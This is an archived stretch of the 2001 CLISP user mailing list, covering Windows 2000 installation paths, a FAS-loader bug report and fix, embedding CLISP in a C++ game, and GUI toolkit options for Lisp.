List-Unsubscribe: , List-Archive: > * In message <91E4C0798669A540B37F77B8DC0F5B9E0FB5C7@xray.informaat.com> > * On the subject of "[clisp-list] getting clisp to work with Windows2000" > * Sent on Thu, 16 Aug 2001 11:47:53 +0200 > * Honorable "Rohan Nicholls" writes: > > That is because in win2k they have changed the location of the user's > profiles folder to being in the root directory instead of contained > within the winnt folder, and changed the name of the folder. interesting - this is not what I observe on a win2k professional here at work. I changed install.lisp to use the registry to get the location of the common desktop. (dir-key-single-value :win32 "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders" "Common Desktop") should return your directory. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on (lisp programmers do it better) From rrschulz@cris.com Thu Aug 16 13:15:22 2001 Received: from darius.concentric.net ([207.155.198.79]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15XTY0-0006hZ-00 for ; Thu, 16 Aug 2001 13:15:22 -0700 Received: from newman.concentric.net (newman.concentric.net [207.155.198.71]) by darius.concentric.net [Concentric SMTP Routing 1.0] id f7GKEiR16493 ; Thu, 16 Aug 2001 16:14:45 -0400 (EDT) Received: from Clemens.cris.com (da003d1742.sjc-ca.osd.concentric.net [64.1.6.207]) by newman.concentric.net (8.9.1a) id QAA26311; Thu, 16 Aug 2001 16:14:31 -0400 (EDT) Message-Id: <5.1.0.14.2.20010816131458.027a9930@pop3.cris.com> X-Sender: rrschulz@pop3.cris.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Thu, 16 Aug 2001 13:15:22 -0700 To: sds@gnu.org, "Rohan Nicholls" From: Randall R Schulz Subject: Re: [clisp-list] getting clisp to work with Windows2000 Cc: In-Reply-To: References: <91E4C0798669A540B37F77B8DC0F5B9E0FB5C7@xray.informaat.com> <91E4C0798669A540B37F77B8DC0F5B9E0FB5C7@xray.informaat.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Sam, I think both options are valid for Win2K installations. My from-scratch Win2K installation conforms to that described by Rohan Nicholls. It may be that when you upgrade a Windows NT 4 installation it leaves the user profils in their NT4-standard location under /winnt/. Randall Schulz Mountain View, CA USA At 10:49 2001-08-16, you wrote: > * On the subject of "[clisp-list] getting clisp to work with Windows2000" > * Honorable "Rohan Nicholls" writes: > > That is because in win2k they have changed the location of the user's > profiles folder to being in the root directory instead of contained > within the winnt folder, and changed the name of the folder. interesting - this is not what I observe on a win2k professional here at work. I changed install.lisp to use the registry to get the location of the common desktop. (dir-key-single-value :win32 "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders" "Common Desktop") should return your directory. -- Sam Steingold (http://www.podval.org/~sds) From sds@gnu.org Thu Aug 16 15:27:43 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15XVc7-0008Ee-00 for ; Thu, 16 Aug 2001 15:27:43 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id SAA28420; Thu, 16 Aug 2001 18:27:40 -0400 (EDT) X-Envelope-To: To: William Harold Newman Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] build problem on OpenBSD (was Re: bootstrapping with CLISP) References: <20010730090531.A7628@rootless> <3B6589C1.79C430DD@atzmueller.net> <20010730130847.B23958@rootless> <20010731075510.D23958@rootless> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010731075510.D23958@rootless> Date: 16 Aug 2001 18:26:12 -0400 Message-ID: Lines: 7 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.105 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: can someone give me shell access to an OpenBSD box? -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on There is an exception to every rule, including this one. From rurban@xarch.tu-graz.ac.at Fri Aug 17 00:24:27 2001 Received: from [129.27.43.9] (helo=xarch.tu-graz.ac.at) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15XdzX-00014N-00 for ; Fri, 17 Aug 2001 00:24:27 -0700 Received: from localhost (rurban@localhost) by xarch.tu-graz.ac.at (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id JAA30962 for ; Fri, 17 Aug 2001 09:24:22 +0200 Date: Fri, 17 Aug 2001 09:24:22 +0200 (CEST) From: Reini Urban To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] getting clisp to work with Windows2000 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On 16 Aug 2001, Sam Steingold wrote: > I changed install.lisp to use the registry to get the location of the > common desktop. > (dir-key-single-value :win32 > "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell > Folders" "Common Desktop") thanks. that's much better, esp. for foreign versions. From sds@gnu.org Fri Aug 17 06:41:08 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15Xjs3-00026e-00 for ; Fri, 17 Aug 2001 06:41:07 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id JAA21595; Fri, 17 Aug 2001 09:41:03 -0400 (EDT) X-Envelope-To: To: clisp-list@lists.sourceforge.net, pjhouk@enteract.com References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Date: 17 Aug 2001 09:40:11 -0400 Message-ID: Lines: 49 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.105 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Re: [ clisp-Support Requests-451722 ] Loading CLIsp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message > * On the subject of "[ clisp-Support Requests-451722 ] Loading CLIsp" > * Sent on Thu, 16 Aug 2001 13:36:29 -0700 > * Honorable pjhouk@enteract.com writes: > > Support Requests item #451722, was opened at 2001-08-16 13:36 > You can respond by visiting: > http://sourceforge.net/tracker/?func=detail&atid=201355&aid=451722&group_id=1355 > > Summary: Loading CLIsp > > Initial Comment: > My name is Philip Houk, pjhouk@enteract.com. please subscribe to (http://lists.sourceforge.net/mailman/listinfo/clisp-list) and ask your questions there. we do _not_ do support via the web interface. > I am loading clisp and am not sure how I should change the last part > of the config file. you do not have to - unless you install CLHS locally. > I am not sure what the Registry is or how to use it? registry is the win32 entity. see your manual. > It seems like the init prog errors out on the defun statement right > after the Hyperspec note. If you could please help me or send me to > the appropriate place to find the answer to my question, I would > appreciate it. THanks. please send the exact (cut and paste) error message. also please supply - your OS version (in _each_ and _every_ message) - CLISP version: call (lisp-implementation-version) - where you got your sources and how you built the binary (if applicable) - where you got the binaries and how you installed them - what you did, _exactly_, to get the bad behavior Please note that I am not a psychic. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Computer are like air conditioners: they don't work with open windows! From dave@sympatico.ca Fri Aug 17 09:10:45 2001 Received: from tomts7.bellnexxia.net ([209.226.175.40] helo=tomts7-srv.bellnexxia.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15XmCq-00015c-00 for ; Fri, 17 Aug 2001 09:10:44 -0700 Received: from debian ([64.229.100.46]) by tomts7-srv.bellnexxia.net (InterMail vM.4.01.03.16 201-229-121-116-20010115) with ESMTP id <20010817161038.DOJW3327.tomts7-srv.bellnexxia.net@debian> for ; Fri, 17 Aug 2001 12:10:38 -0400 Received: from dave by debian with local (Exim 3.12 #1 (Debian)) id 15XmCg-0005iy-00; Fri, 17 Aug 2001 12:10:34 -0400 To: clisp-list@lists.sourceforge.net From: Dave MacDonald Date: 17 Aug 2001 12:10:34 -0400 Message-ID: <87bsleis5h.fsf@idirect.com> Lines: 137 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.102 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] more detail about bug report 451901 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > > I submitted this bug report (FAS-loader problem) and failed to submit > the sample file due to some browser problem. Anyway, the file is > attached. I observe identical behavior from CMUCL 18c and CLISP. please try again. BTW, clisp-devel is a member-only list. please post to clisp-list or use the SF bug tracker _when logged on_ Thanks for your bug report. ***** Sorry about incorrect use of the bug tracker and clisp-devel. The following is a sequence of dribble output, first from debian CMUCL, and next from CVS-as-of-2001-Aug-17-11AM CLISP. I forgot to mention what platform I'm working on: uname -a Linux debian 2.4.3 #2 Sun Apr 8 14:07:16 EDT 2001 i686 unknown "structtest.lisp" source file: +++++++ (defun required-argument () (error "A required argument was not supplied")) (eval-when (:compile-toplevel :load-toplevel :execute) (defstruct (struct (:constructor make-struct (slot))) (slot (required-argument) :type cons))) (defmethod make-load-form ((obj struct) &optional env) (declare (ignore env)) (make-load-form-saving-slots obj)) (defun handle-struct (struct) (format t "~A" (struct-slot struct))) (defmacro test () `(let () (let ((var (make-struct (list 10)))) `(progn (eval-when (:compile-toplevel :load-toplevel :execute) (handle-struct ',var)))))) (defmacro moretest() (test)) +++++ "structtest1.lisp" contains the single form "(moretest)". Here's the dribble output: +++++ * (lisp-implementation-version) "release x86-linux 2.5.2 18c+ 2 May 2001 build 2173" * (compile-file "structtest.lisp") Python version 1.0, VM version Intel x86 on 17 AUG 01 11:37:16 am. Compiling: /home/dave/packages/sbcl-work1/structtest.lisp 16 AUG 01 09:25:43 pm Converted REQUIRED-ARGUMENT. Compiling DEFUN REQUIRED-ARGUMENT: Byte Compiling Top-Level Form: Converted MAKE-STRUCT. Compiling DEFSTRUCT STRUCT: Converted |(PCL::FAST-METHOD MAKE-LOAD-FORM (STRUCT))|. Compiling DEFMETHOD MAKE-LOAD-FORM (STRUCT): Converted HANDLE-STRUCT. Compiling DEFUN HANDLE-STRUCT: Converted TEST. Compiling DEFMACRO TEST: Converted MORETEST. Compiling DEFMACRO MORETEST: Byte Compiling Top-Level Form: structtest.x86f written. Compilation finished in 0:00:01. #p"/home/dave/packages/sbcl-work1/structtest.x86f" NIL NIL * (load "structtest") ; Loading #p"/home/dave/packages/sbcl-work1/structtest.x86f". T * (compile-file "structtest1.lisp") Python version 1.0, VM version Intel x86 on 17 AUG 01 11:37:40 am. Compiling: /home/dave/packages/sbcl-work1/structtest1.lisp 16 AUG 01 08:59:43 pm (10)Byte Compiling Top-Level Form: structtest1.x86f written. Compilation finished in 0:00:00. #p"/home/dave/packages/sbcl-work1/structtest1.x86f" NIL NIL * (load "structtest1") ; Loading #p"/home/dave/packages/sbcl-work1/structtest1.x86f". (10) T +++++++++ [2]> (lisp-implementation-version) "2.27.1 (released 2001-07-17) (built 3207050781) (memory 3207051035)" [3]> (compile-file "structtest.lisp") Compiling file /home/dave/packages/sbcl-work1/structtest.lisp ... Compilation of file /home/dave/packages/sbcl-work1/structtest.lisp is finished. 0 errors, 0 warnings #P"/home/dave/packages/sbcl-work1/structtest.fas" ; NIL ; NIL [4]> (load "structtest") ;; Loading file /home/dave/packages/sbcl-work1/structtest.fas ... ;; Loading of file /home/dave/packages/sbcl-work1/structtest.fas is finished. T [5]> (compile-file "structtest1.lisp") Compiling file /home/dave/packages/sbcl-work1/structtest1.lisp ...(10) Compilation of file /home/dave/packages/sbcl-work1/structtest1.lisp is finished. 0 errors, 0 warnings #P"/home/dave/packages/sbcl-work1/structtest1.fas" ; NIL ; NIL [6]> (load "structtest1") ;; Loading file /home/dave/packages/sbcl-work1/structtest1.fas ... *** - A required argument was not supplied 1. Break [7]> From sds@gnu.org Sat Aug 18 11:22:25 2001 Received: from out4.prserv.net ([32.97.166.34] helo=prserv.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15YAjp-0000ex-00 for ; Sat, 18 Aug 2001 11:22:25 -0700 Received: from xchange.com (slip-32-100-55-40.ma.us.prserv.net[32.100.55.40]) by prserv.net (out4) with ESMTP id <2001081818222020400j6skpe>; Sat, 18 Aug 2001 18:22:22 +0000 To: Dave MacDonald Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] more detail about bug report 451901 References: <87bsleis5h.fsf@idirect.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <87bsleis5h.fsf@idirect.com> Date: 18 Aug 2001 14:22:03 -0400 Message-ID: Lines: 25 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.105 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <87bsleis5h.fsf@idirect.com> > * On the subject of "[clisp-list] more detail about bug report 451901" > * Sent on 17 Aug 2001 12:10:34 -0400 > * Honorable Dave MacDonald writes: > > [6]> (load "structtest1") > ;; Loading file /home/dave/packages/sbcl-work1/structtest1.fas ... > *** - A required argument was not supplied I just fixed this bug. thanks for reporting it. please try again. please submit further bug reports to the tracker _when logged on_ (this way you will get notified by e-mail when the bug is fixed). [the official policy is that the release users should report bug and ask questions here, on , while the users of the development CVS tree should subscribe to and report bugs there] -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on We're too busy mopping the floor to turn off the faucet. From talmakion@yahoo.com.au Sun Aug 19 21:46:50 2001 Received: from bri3-56k-077.tpgi.com.au ([202.7.184.77] helo=magellian.telekinesis.org.au) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15Ygxd-00014w-00 for ; Sun, 19 Aug 2001 21:46:50 -0700 Received: from localhost (maximus@localhost) by magellian.telekinesis.org.au (8.9.3/8.8.7) with ESMTP id OAA11903 for ; Mon, 20 Aug 2001 14:46:00 -0400 X-Authentication-Warning: magellian.telekinesis.org.au: maximus owned process doing -bs Date: Mon, 20 Aug 2001 14:45:59 -0400 (EDT) From: Andrew Topp X-Sender: maximus@magellian.telekinesis.org.au To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Using CLISP as a scripting language Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: I'm writing a game in C++, but I'd like to have Lisp scripting integrated into it for the following functions: Game Server: - `command shell', and command scripting, some UI scripting. - Game object scripting - Config files Client: - Much of the client's UI will be handled in Lisp, for a customizable L&F. The game object scripting I'd like to be somewhat in the style of LPC. Each source file is an object, public functions defined within that file are available for other objects (using something similar to LPC's call_other) and the underlying C++ class. It may be better/easier to use CLOS, but I haven't looked into that much yet. I'm in the middle of writing my own Lisp interpreter, but I noticed someone say something about embedding with CLISP on comp.lang.lisp. I'm sure that CLISP would be able to do a better job, speed and efficiency wise, than any Lisp interpreter I produce. My own is stripped extremely bare of functionality, still in its early buggy stages. Could anyone please provide me with info, or where to get it, on embedding with CLISP? Secondly, I'm unable to get clisp.cons.org or www.cons.org. The router at 165.113.22.149 goes into a loop with itself until TTL expires. Every comp with net access I've tried does this. Are there any mirrors? Thirdly, I've already investigated and rejected: - siod - umb-scheme - MIT scheme - elisp - ECLS - VSLisp - ELK - GCL - Guile ..and a few others I can't recall, as a suitable embedded Lisp/Lisp-like system. Thanks, >> DeSigna. optimist, n: A bagpiper with a beeper. From dave@cherryville.org Mon Aug 20 00:22:30 2001 Received: from h24-79-38-204.cg.shawcable.net ([24.79.38.204] helo=cherryville.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15YjOI-0003Fj-00 for ; Mon, 20 Aug 2001 00:22:30 -0700 Received: by cherryville.org (Postfix, from userid 501) id 04D6FB76D; Mon, 20 Aug 2001 01:26:06 -0600 (MDT) Received: from localhost (localhost [127.0.0.1]) by cherryville.org (Postfix) with ESMTP id E3D65B76C; Mon, 20 Aug 2001 01:26:06 -0600 (MDT) Date: Mon, 20 Aug 2001 01:26:06 -0600 (MDT) From: Dave To: Andrew Topp Cc: Subject: Re: [clisp-list] Using CLISP as a scripting language In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Andrew Topp wrote: > Thirdly, I've already investigated and rejected: > - siod > - umb-scheme > - MIT scheme > - elisp > - ECLS > - VSLisp > - ELK > - GCL > - Guile > > ..and a few others I can't recall, as a suitable embedded Lisp/Lisp-like > system. Have you looked at librep (http://librep.sourceforge.net/)? From sds@gnu.org Mon Aug 20 06:57:54 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15YpYv-0002cs-00 for ; Mon, 20 Aug 2001 06:57:53 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id JAA13542; Mon, 20 Aug 2001 09:57:50 -0400 (EDT) X-Envelope-To: To: Andrew Topp Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Using CLISP as a scripting language References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Date: 20 Aug 2001 09:57:18 -0400 Message-ID: Lines: 63 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.105 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message > * On the subject of "[clisp-list] Using CLISP as a scripting language" > * Sent on Mon, 20 Aug 2001 14:45:59 -0400 (EDT) > * Honorable Andrew Topp writes: > > I'm writing a game in C++, but I'd like to have Lisp scripting I urge you to write the whole thing using CLOS and use the FFI to run things which _have_ to be in C. You will win on many accounts, mostly with automatic memory management, interactive development (==> short cycle), and the power of CLOS. Lisps (except for those which are designed to be embedded, like ECLS or ELK which you have rejected already :-) have an unfortunate tendency of thinking of themselves as being only the masters. FFIs usually call other languages, not allow Lisp to be called from them. There is a good reason for that - you can easily embed assembly code in C, but not vice versa (who would want to call C from assembly?), and since Lisp is higher level than any other widely deployed language, you would not want to call it from those other inferior beasts. Thus I repeat my suggestion: use C/C++ to implement the system-level functionality which have to be very fast, and do the main coding in CLOS. This is the right design path! > Secondly, I'm unable to get clisp.cons.org or www.cons.org. The router > at 165.113.22.149 goes into a loop with itself until TTL > expires. Every comp with net access I've tried does this. Are there > any mirrors? cons.org is dead until further notice. this is beyond our control. please use clisp.sf.net for now. > Thirdly, I've already investigated and rejected: > - siod > - umb-scheme > - MIT scheme > - elisp > - ECLS > - VSLisp > - ELK > - GCL > - Guile the list is impressive. librep, guile and elisp have been successfully used as scripting languages for large C programs, librep and guile having been designed for that specific purpose. I discourage you from using elisp and librep since they implement non-standard dialects of Lisp. I do not recommend guile either since the standard part is too tiny to be usable for real programming and the extensions (object and package systems) are non-standard. Thus I repeat my suggestion - use CLOS for everything except for speed-critical parts _after_ profiling. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on There are two ways to write error-free programs; only the third one works. From ekarttun@melkinpaasi.cs.helsinki.fi Wed Aug 22 00:26:37 2001 Received: from porsta.cs.helsinki.fi ([128.214.48.124]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15ZSPF-0000Eb-00 for ; Wed, 22 Aug 2001 00:26:29 -0700 Received: from melkinpaasi.cs.Helsinki.FI (IDENT:root@melkinpaasi.cs.Helsinki.FI [128.214.10.13]) by porsta.cs.Helsinki.FI (8.11.3/8.11.3) with ESMTP id f7M7X2v12365 for ; Wed, 22 Aug 2001 10:33:02 +0300 Received: (from ekarttun@localhost) by melkinpaasi.cs.Helsinki.FI (8.9.3/8.9.3) id KAA19169 for clisp-list@lists.sourceforge.net; Wed, 22 Aug 2001 10:26:16 +0300 Date: Wed, 22 Aug 2001 10:26:16 +0300 From: Einar Karttunen To: clisp-list@lists.sourceforge.net Message-ID: <20010822102616.A19149@cs.helsinki.fi> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Subject: [clisp-list] lisp and GUIs Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hello What GUIs are commonly used in lisp applications? Garnet seems quite big, but it is not developed anymore. Is McClim or SLIK stable enough to use? What about wxWindows? There is wxclisp (http://www.anthemion.co.uk/wxclips/) but it seems obsolete? Is any of the guis portable for win32 and x? - Einar Karttunen From sds@gnu.org Wed Aug 22 06:34:05 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15ZY8y-0002gQ-00 for ; Wed, 22 Aug 2001 06:34:04 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id JAA02372; Wed, 22 Aug 2001 09:33:59 -0400 (EDT) X-Envelope-To: To: Einar Karttunen Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] lisp and GUIs References: <20010822102616.A19149@cs.helsinki.fi> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010822102616.A19149@cs.helsinki.fi> Date: 22 Aug 2001 09:32:46 -0400 Message-ID: Lines: 20 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.105 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <20010822102616.A19149@cs.helsinki.fi> > * On the subject of "[clisp-list] lisp and GUIs" > * Sent on Wed, 22 Aug 2001 10:26:16 +0300 > * Honorable Einar Karttunen writes: > > What GUIs are commonly used in lisp applications? > Is any of the guis portable for win32 and x? at the moment I can only recommend using socket interface to your browser, like INSPECT in CLISP and CLOCC/CLLIB. we _are_ interested in adding a GUI toolkit to CLISP. wxWindows, TK, Qt are the options. would you like to work on this? -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on I don't want to be young again, I just don't want to get any older. From amoroso@mclink.it Wed Aug 22 09:10:37 2001 Received: from net128-007.mclink.it ([195.110.128.7] helo=mail.mclink.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15ZaaS-0008UG-00 for ; Wed, 22 Aug 2001 09:10:36 -0700 Received: from net145-103.mclink.it (net145-103.mclink.it [195.110.145.103]) by mail.mclink.it (8.11.0/8.11.0) with SMTP id f7MGATt21623 for ; Wed, 22 Aug 2001 18:10:29 +0200 (CEST) From: Paolo Amoroso To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] lisp and GUIs Date: Wed, 22 Aug 2001 18:10:00 +0200 Organization: Paolo Amoroso - Milan, ITALY Message-ID: References: <20010822102616.A19149@cs.helsinki.fi> In-Reply-To: <20010822102616.A19149@cs.helsinki.fi> X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Wed, 22 Aug 2001 10:26:16 +0300, Einar Karttunen wrote: > What GUIs are commonly used in lisp applications? What are your requirements for a GUI? > anymore. Is McClim or SLIK stable enough to use? McCLIM (a.k.a. Free CLIM) is still under development and it lacks some CLIM features, most notably presentation types, but work on it is increasing and there are new developers contributing to the project. The development mailing list provides a steady flow of commit logs. As for SLIK, I think it's mainly used in the radiation treatment planning system (PRISM) that motivated its development. Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://web.mclink.it/amoroso/ency/README [http://cvs2.cons.org:8000/cmucl/doc/EncyCMUCLopedia/] From sds@gnu.org Wed Aug 22 11:23:03 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15Zced-0000ek-00 for ; Wed, 22 Aug 2001 11:23:03 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id OAA27582; Wed, 22 Aug 2001 14:23:00 -0400 (EDT) X-Envelope-To: To: Richard Lin Cc: Subject: Re: [clisp-list] CLISP Binary on RedHat 7.1 References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Date: 22 Aug 2001 14:21:43 -0400 Message-ID: Lines: 14 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.105 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message > * On the subject of "[clisp-list] CLISP Binary on RedHat 7.1" > * Sent on Sat, 28 Apr 2001 01:59:37 -0400 (EDT) > * Honorable Richard Lin writes: > > I've compiled clisp on my RedHat 7.1 linux box. > http://www.sinc.sunysb.edu/stu/dlin/clisp/ would you like to maintain CLISP RPMs? -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Are you smart enough to use Lisp? From peter.wood@worldonline.dk Wed Aug 22 22:10:50 2001 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15ZmlU-00014t-00 for ; Wed, 22 Aug 2001 22:10:48 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 4994FB56D for ; Thu, 23 Aug 2001 07:10:45 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id f7N54SI00183; Thu, 23 Aug 2001 07:04:28 +0200 Date: Thu, 23 Aug 2001 07:04:27 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net 